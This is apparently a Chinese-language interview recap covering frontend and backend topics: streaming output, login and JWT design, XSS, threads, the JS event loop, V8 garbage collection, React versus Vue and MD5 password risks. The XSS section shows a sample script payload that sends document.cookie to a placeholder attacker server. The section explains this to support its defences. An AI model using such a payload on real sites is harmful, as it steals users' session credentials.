字节面试复盘2026/07/03

发布时间:2026/7/6 12:36:22
字节面试复盘2026/07/03 复盘来自2026/07/03 字节扣子编程开发 人生首面~~~1.流式输出是怎么实现的1. 核心原理流式输出本质是HTTP分块长连接区别普通一次性响应普通接口等后端处理完返回完整JSON流式是大模型边生成文字、后端边分段推送前端边接收边渲染解决长回答等待空白的体验问题。市面上两种实现方案SSE、Fetch ReadableStream项目主流用后者。2. 方案一SSEEventSource底层HTTP单向长连接固定响应头text/event-stream局限仅支持GET参数拼在URL对话历史很长时会超限无法传递复杂请求体流程前端new EventSource监听onmessage后端按data: {}\n\n格式推送分片收到[DONE]关闭连接适用简单短提问场景业务对话很少用。3. 方案二Fetch ReadableStream项目主流重点讲请求层使用POST发送完整对话messages搭配AbortController绑定signal用户点击停止可直接中断请求。后端响应规范开启Transfer-Encoding: chunked分块传输不用提前返回内容长度模型开启streamtrue每产出一个token立刻下发分片统一携带data标识末尾返回结束标记。前端流处理逻辑通过res.body.getReader()获取二进制读取器TextDecoder将二进制转字符串设置stream模式持续解析设计缓冲区buffer防止一次分片不完整导致解析错乱根据双换行\n\n切割每一条消息循环解析JSON持续拼接文本实时更新页面视图捕获done状态或[DONE]标记结束流式渲染。4. 补充边界处理中断生成AbortController.abort()终止流读取乱码/断片缓冲区缓存不完整字符串下次拼接再解析异常捕获流读取失败、接口报错及时关闭读取器给出错误提示性能优化避免频繁DOM渲染可做防抖或者文本片段增量插入。2.简易登录系统完整流程一、数据库用户表 user 极简设计字段只保留登录核心信息字段名类型作用idint 主键自增用户唯一IDusernamevarchar(50)登录账号唯一不可重复passwordvarchar(100)加密后的密码不存明文create_timedatetime注册时间核心规则密码后端用 bcrypt/sha256盐加密存储。二、整体完整流程1. 前端页面展示输入框用户名、密码、登录按钮用户输入账号密码点击登录前端基础校验账号、密码不能为空长度符合规则账号≥3位密码≥6位校验不通过直接页面提示不请求后端校验通过封装成 JSON 请求发送 POST 请求到后端登录接口请求示例Body{username:test001,password:123456abc}2. 后端接收请求第一层路由/拦截器跨域校验、请求格式校验必须是JSON判断请求方法是否为POST非法请求直接返回错误提取请求体里 username、password 两个参数参数缺失返回提示3. 后端第二层数据库查询根据传入 username 查询 user 表分支判断查无此用户 → 返回账号不存在查询到用户取出数据库里加密密码4. 后端第三层密码比对拿前端传的明文密码 数据库密码盐值执行相同加密算法对比加密后的两段字符串不一致 → 返回密码错误一致 → 登录校验通过5. 登录成功生成身份凭证这是Web开发中两种最主流的用户登录后生成身份凭证、保持登录状态的方案核心区别在于状态存在哪里、怎么传递、怎么验证。一、方案ASession Cookie完整流程登录验证你输入账号密码后端验证通过。创建Session后端生成唯一的SessionID如sess_abc123并在服务器内存/Redis/数据库中创建Session存入user_id、username等信息。下发Cookie后端通过响应头Set-Cookie: JSESSIONIDsess_abc123; HttpOnly让浏览器自动保存这个Cookie。后续请求浏览器访问需要权限的接口时自动在请求头带上这个Cookie。鉴权后端从Cookie中取出SessionID去服务器存储里查对应的Session查到就认为你已登录。核心特点有状态服务器必须存储Session数据。依赖Cookie浏览器自动管理前端几乎不用写代码。优点成熟、易实现、服务器可随时销毁Session强制下线。缺点集群/分布式需做Session共享如Redis、跨域麻烦、移动端支持差。二、方案BJWT Token完整流程登录验证你输入账号密码后端验证通过。生成JWT后端用密钥加密生成JWT字符串。JWT分三部分Header算法类型如HS256。Payload存放user_id、username、过期时间不加密仅Base64编码。Signature签名防篡改。返回Token后端把JWT字符串直接返回给前端通常在响应体。前端存储前端存在localStorage或Cookie里。后续请求前端手动在请求头加Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...。鉴权后端用密钥验证签名是否合法、是否过期合法就直接从Payload里取用户信息不用查数据库/Redis。核心特点无状态服务器不存任何用户登录状态天然支持水平扩展。自包含Token里自带用户信息。优点跨域友好、移动端/小程序/APP全支持、集群无需共享。缺点注销困难需黑名单、Payload不能存敏感信息、体积比SessionID大。三、核心对比维度Session CookieJWT Token状态存储服务器端内存/Redis客户端Token自身传递方式浏览器自动带Cookie前端手动放Authorization头鉴权逻辑查SessionID → 取用户信息验签名 → 直接读Payload分布式需要Session共享Redis天然支持跨域受Cookie同源策略限制灵活无限制注销简单删Session复杂需黑名单适用场景传统Web、管理后台前后端分离、APP、微服务简单说Session是服务器记着你JWT是你自己带着证明。需要我给你写一个Spring Boot JWT的最简登录鉴权代码示例吗三、补充关键安全点密码永不明文传输、永不明文入库登录接口加请求限流防止暴力破解撞库Token 设置过期时间支持退出登录销毁凭证重要接口增加登录鉴权拦截未登录直接拦截跳转登录页3.XSS 攻击完整讲解结合你刚才的登录系统场景一、什么是 XSS全称跨站脚本攻击Cross-Site Scripting因为CSS重名所以简写XSS。核心原理黑客把恶意JS代码注入页面浏览器分不清是正常代码还是恶意脚本直接执行窃取本地存储、Cookie、账号凭证。XSS本质是页面把用户可控内容当成代码执行防护核心不让恶意脚本有执行机会同时把登录凭证Cookie/Token对JS不可见。二、三类常见XSS1. 存储型XSS流程黑客在可提交内容的地方昵称、简介、评论、用户名输入恶意脚本示例恶意内容scriptfetch(https://黑客服务器?cdocument.cookie)/script后端没过滤直接存入数据库user表其他用户打开页面后端取出数据原样渲染到HTML页面加载时自动执行JS把当前用户Cookie/Token发给黑客对应你的登录系统风险点如果用户名允许输入特殊标签黑客注册账号名为上面那段script其他管理员查看用户列表时页面渲染用户名就触发XSS盗取管理员登录凭证。2. 反射型XSSURL传参触发恶意脚本放在URL参数里诱导用户点开链接。例xxx.com/login?namescript偷token代码/script后端直接把name参数拼到页面HTML点开链接立刻执行脚本。3. DOM型XSS纯前端漏洞后端无过错后端返回数据干净但前端JS直接把参数插入DOM没做转义。比如前端取URL参数直接 innerHTML 渲染无需后端存储前端代码漏洞导致。三、XSS对你登录系统的致命危害盗取 Cookie / SessionID劫持账号登录读取 localStorage 里存的 JWT Token黑客直接伪造身份调用所有接口篡改页面伪造假登录弹窗骗用户二次输入账号密码盗用当前用户权限自动发起操作删数据、改资料四、前后端配套防御方案落地到登录系统后端防御输入过滤转义所有存入user表的字段用户名、简介转义特殊字符 把标签变成文本字符浏览器不会识别为脚本。CSP 内容安全策略响应头服务端返回Content-Security-Policy限制页面只能加载信任域名的JS禁止内联脚本执行大幅阻断XSS。Cookie 安全属性登录Session Cookie增加两个关键标识HttpOnlyJS无法读取document.cookie就算XSS成功也偷不到会话CookieSecure仅HTTPS下携带Cookie前端防御禁止使用 innerHTML、document.write 直接渲染用户输入优先用textContent只会当成纯文本展示JWT不要存在localStorage极易被XSS读取重要系统存HttpOnly Cookie渲染用户展示内容前前端手动转义特殊符号额外辅助防护输入长度限制禁止超长特殊标签串登录接口增加验证码、限流就算凭证泄露也增加劫持成本4.进程 线程1. 基础定义进程操作系统资源分配最小单位。一个独立程序就是一个进程拥有独立内存、文件句柄、CPU资源、堆进程之间完全隔离互不干扰。例你后端启动的 Python/Java Web登录服务 1个进程浏览器、微信都是单独进程。线程进程内部执行最小调度单位轻量级。一个进程里可以开多条线程共享进程全部资源全局变量、内存、端口每条线程独立走一段代码逻辑切换开销远小于进程。例登录服务进程里一条线程处理用户登录请求一条线程写日志一条线程定时清理过期Token。2. 核心区别对比资源隔离进程资源独立A进程崩溃不会影响其他进程进程通信麻烦管道、socket、共享内存线程同进程内资源共享一条线程异常崩溃会直接干掉整个进程线程间通信简单直接读写全局变量切换开销进程切换需要刷新页表、缓存开销大线程切换仅切换寄存器开销极小内存空间进程私有地址空间线程共用进程地址空间多进程部署多实例启动3份登录服务进程监听不同端口Nginx负载均衡分发请求。优点一个进程挂了另外两个正常提供登录服务稳定性高缺点内存占用翻倍进程间无法共享在线用户登录缓存。多线程处理请求单进程多线程单个登录服务进程开启线程池每来一个登录请求分配一条线程处理接收参数→查用户表→密码校验→下发Token。优点占用资源少线程共享用户缓存风险某条线程代码死循环/报错整个登录服务直接宕机。并发 并行并发单CPU快速切换线程/进程看起来同时运行并行多核CPU多个线程/进程真正同时执行。5.讲解一下JS 数据源是什么、底层设计。js的单线程多线程怎么控制的1. JS 数据源概念JS 本身没有专门叫「数据源」的内置模块行业里说的 JS 数据源分两类内存数据源JS 原生数据容器数组 Array、对象 Object、Map、Set、WeakMap 等存放页面临时数据远端数据源接口后端返回数据Axios/Fetch 请求、本地持久化数据源localStorage/sessionStorage/indexedDB框架封装数据源Vue/React/表格组件组件封装的 DataSource封装分页、筛选、排序、请求逻辑。2. 原生基础数据源底层设计1Object 普通对象底层哈希表HashTable键值对存储设计特点key 只能是字符串/Symbol数字会自动转字符串原型链会继承属性遍历会拿到原型上的字段查询、增删平均 O(1)无序ES6 后按插入顺序缺陷无法存复杂对象作为 key没有内置去重、迭代 API。2Array 数组底层是连续内存 哈希混合存储V8 引擎密集数组下标连续数字分配连续内存读写极快稀疏数组下标断层arr[100] 1改用哈希表存储空位性能下降设计思路封装批量操作 APImap/filter/reduce 统一数据处理长度可动态扩容自动分配内存不用手动管理适合有序列表类数据源。3Map / WeakMap标准键值数据源Map 设计优化 Object 的缺陷key 支持任意类型对象、数字、函数自带 size、有序、纯自身键值不遍历原型WeakMap 特殊设计弱引用key 必须是对象不会阻止 GC 垃圾回收无迭代、无 size适合缓存临时数据源自动释放内存。4Set / WeakSet去重数据源存储唯一值自动去重WeakSet 仅存对象、弱引用。3. 远端持久化数据源设计localStorage/sessionStorage底层浏览器持久化字符串存储只能存字符串设计限制5MB 容量同步读写大数据会卡主线程使用规范存取 JSON 序列化对象数据源。IndexedDB浏览器内置异步数据库真正结构化数据源设计事务、索引、游标支持大量二进制/对象数据异步不阻塞主线程网络数据源Fetch/Axios设计分层请求层封装请求头、超时、拦截器数据转换层响应 JSON 自动转 JS 对象缓存层内存缓存/本地缓存重复接口数据属于远程异步数据源。4. 组件库 DataSource业务数据源设计以 Ant Design Table 为例标准设计constdataSource[{id:1,name:xxx}]内部封装逻辑分层原始数据层保存后端返回数组处理层分页、过滤、排序、搜索状态层loading、总条数、当前页码渲染层处理后数据交给表格渲染核心设计思想数据与视图分离统一管理数据逻辑。6. JS 单线程 异步多任务1. 核心结论JavaScript执行主线程永远只有 1 条不存在多线程并发执行 JS 代码所谓“多任务效果”靠事件循环 EventLoop 浏览器宿主多工作线程配合实现。1为什么 JS 设计成单线程JS 初衷是操作 DOM如果多线程会出现冲突线程A删除DOM、线程B修改同一DOM无法确定执行顺序加锁会极度复杂单线程保证 DOM 操作顺序可控简化前端开发模型。2. 浏览器底层真正的多线程宿主线程不是JS线程浏览器会开启多条独立工作线程这些线程不归JS管理只是帮主线程干活JS 主线程唯一执行 JS、操作 DOM定时器线程处理 setTimeout/setIntervalHTTP 请求线程处理 Fetch/AjaxUI 渲染线程绘制页面和JS主线程互斥互斥锁WebWorker 线程独立子线程可跑纯计算JS不能操作DOM运行机制拆解单线多任务控制逻辑步骤1主线程同步代码优先执行主线程有调用栈 Call Stack所有同步代码从上到下入栈执行栈空才会去处理异步任务。步骤2异步任务交给浏览器其他线程处理遇到异步代码不会阻塞主线程直接丢给对应后台线程setTimeout → 定时器线程倒计时fetch 请求 → 网络线程等待响应点击事件 → 事件线程监听点击后台线程完成任务后不会立刻执行回调而是把回调函数推入对应队列。步骤3两大任务队列控制执行优先级宏任务队列 Macrotask优先级低setTimeout、setInterval、script整体代码、IO、UI渲染微任务队列 Microtask优先级高Promise.then/catch/finally、await、queueMicrotask、MutationObserver步骤4事件循环 EventLoop 调度规则核心控制逻辑清空调用栈一次性全部清空微任务队列所有回调取一个宏任务放入调用栈执行重复循环 1-3举个直观例子console.log(同步1);setTimeout((){console.log(宏任务)},0)Promise.resolve().then((){console.log(微任务)})console.log(同步2);执行顺序同步1 → 同步2 → 微任务 → 宏任务控制逻辑同步栈清空 → 榨干所有微任务 → 再执行单个宏任务。3. WebWorker真正的多线程方案JS多线程控制主线程只能有一个但 WebWorker 可以创建独立 JS 子线程弥补单线程计算阻塞问题。设计规则Worker 线程无法访问 DOM、window、document只能纯计算线程之间完全隔离不能共享变量通信依靠postMessage传递数据拷贝传递不共享内存主线程和Worker通过消息事件互相收发数据使用场景大数据循环、复杂算法、文件解析避免主线程卡死页面。4. 如何手动控制 JS “单线多任务”顺序控制优先级微任务永远早于宏任务串行异步Promise 链式调用 / async await 保证顺序并行异步Promise.all / allSettled 并发请求耗时计算丢进 WebWorker 防止阻塞主线程节流防抖控制高频宏任务滚动、输入执行频率7.js垃圾回收机制一、V8 内存分区堆分为新生代、老生代两套垃圾回收机制分开处理新生代新生区存放短期临时对象接口临时变量、请求临时 JSON、函数局部变量存活时间很短容量小。采用算法复制算法Scavenge把新生代划分为 From / To 两块等大空间。From 存对象To 空闲GC 触发时把 From 里存活对象复制到 To复制完成后直接清空整个 From交换 From/To 身份。优点清理快、无内存碎片缺点只能用一半堆内存。新生代对象经历 2 次 GC 存活晋升到老生代。老生代老年代长期存活对象全局缓存、常驻内存的配置、长连接对象数量多、体积大。两套组合使用标记清除 标记压缩1标记阶段从根对象全局、栈变量遍历标记所有可达存活对象2清除阶段未被标记的判定为垃圾直接释放单纯标记清除会产生大量内存碎片内存分配大对象失败。3标记压缩碎片多时触发把存活对象往一侧平移合并消除碎片。二、完整垃圾回收流程程序不断创建对象堆内存持续上涨达到阈值自动触发 GC也可手动触发不推荐生产用暂停 JS 主线程STW 停顿 Stop-The-World整个业务代码卡住新生代/老生代分别执行回收逻辑GC 结束恢复主线程继续处理登录、接口请求。三、关键为什么单线程 GC 会 STWJS 主线程和 GC 共用一套堆内存回收时如果同时执行业务代码一边新建对象、一边移动/删除对象引用关系会彻底混乱。所以必须暂停所有 JS 逻辑等 GC 完成再恢复。四、V8 优化手段缓解卡顿增量标记老生代标记不全一次性做完拆分成小段标记一小段恢复主线程处理业务交替执行大幅降低单次停顿时长。并行回收底层 libuv 工作线程辅助做清理复制主线程只做标记利用多核分担 GC 压力。分代回收策略短期临时对象快速在新生代回收不会堆积到老生代减少老生代 GC 触发频率。8.React vs Vue 核心区别一、核心设计思想Vue模板 响应式双向绑定分开写法HTML 写模板JS 写逻辑贴近传统前端开发核心Object.defineProperty(Vue2)/Proxy(Vue3)主动劫持数据数据一变自动更新视图天然双向绑定v-model表单开发极简。ReactJSX 一切皆JS单向数据流模板直接写在JS里JSXHTML和逻辑混写无主动劫持靠状态驱动修改state才会重渲染强制单向数据流没有原生双向绑定需要手动封装。二、语法层面模板写法Vue独立template指令v-if/v-for/v-bind/v-onReactJSX用三元代替v-ifmap代替v-for{}插值className代替class事件VueclickfnReactonClick{fn}双向绑定Vuev-modelvalue一行搞定React受控组件value onChange 手动实现三、响应式原理Vue2Object.defineProperty劫持对象已有属性缺陷新增/删除对象属性、数组下标修改无法监听需要$setVue3Proxy代理整个对象可监听新增、删除、数组所有操作无$set性能更好React无数据劫持不可变 State直接修改state不会更新视图必须setState/setXXX替换引用对比新旧虚拟DOM差异更新页面优势逻辑统一无隐性监听陷阱缺点简单场景代码偏多四、虚拟DOM 更新机制Vue响应式依赖收集组件会精准收集当前模板用到的变量只更新依赖变化的节点粒度细性能友好React默认整组件重渲染只要父state更新子组件默认全部重渲染需要手动优化memo/useMemo/useCallback减少渲染。五、编程范式Vue选项式APIVue2/组合式APIVue3选项式把data/methods/watch分开入门简单组合式复用逻辑React纯函数组件 Hooks无选项配置全部用函数钩子管理状态、生命周期逻辑聚合复用更灵活。9.MD5 存储密码存在的完整安全问题单纯MD5存储密码有三大致命问题算法运算过快易暴力破解、存在哈希碰撞、无随机盐时彩虹表可批量还原明文即使加盐单次MD5也不足以抵御现代撞库攻击生产环境应当使用bcrypt这类自适应慢哈希算法存储用户密码。一、核心底层缺陷MD5 哈希算法本身已被破解不可逆但可彩虹表暴力破解MD5 只是单向哈希不能直接反推原文但网上存在海量彩虹表预计算好的明文→MD5映射库。简单弱密码123456、abc123的MD5值一秒就能查表还原出原始密码。存在哈希碰撞已经找到两段完全不同的字符串经过MD5运算后输出一模一样的哈希值。极端场景下攻击者可以构造碰撞数据绕过密码校验。算法速度太快暴力破解成本极低MD5运算轻量化CPU/GPU一秒能生成上亿条哈希。黑客可以短时间内遍历大量密码字典撞库几分钟就能破解大量弱口令。二、不加盐MD5的致命业务风险登录系统场景1. 相同密码哈希值完全一致多个用户使用同一个密码数据库里存的MD5字符串一模一样。一旦泄露数据库黑客能快速筛选出所有共用相同密码的账号批量盗号。2. 数据库拖库即大量账号泄露如果网站数据库被拖走全部MD5密码会丢去彩虹表匹配用户明文密码大量暴露。很多用户会复用同一套账号密码进而泄露微信、支付等其他平台账号。三、简单加盐MD5依然有漏洞即使给密码加固定盐md5(password salt)仍有缺陷全局固定盐泄露盐写死在代码里一旦源码泄露等同于无盐彩虹表依然能批量破解。没有迭代加重计算量只做一次MD5运算速度太快GPU爆破效率极高。无法抵御现代暴力破解手段。四、合规与标准淘汰问题MD5 早已被各大安全标准弃用等保、网络安全规范不允许用MD5存储用户密码国家网络安全要求存储口令必须使用慢哈希算法bcrypt、Argon2、PBKDF2。五、正确替代方案生产登录系统推荐bcrypt首选自动生成随机盐、内置多次迭代算法运算慢GPU爆破成本极高每个用户盐值独立。PBKDF2 / Argon2适合需要自定义迭代次数场景安全性强。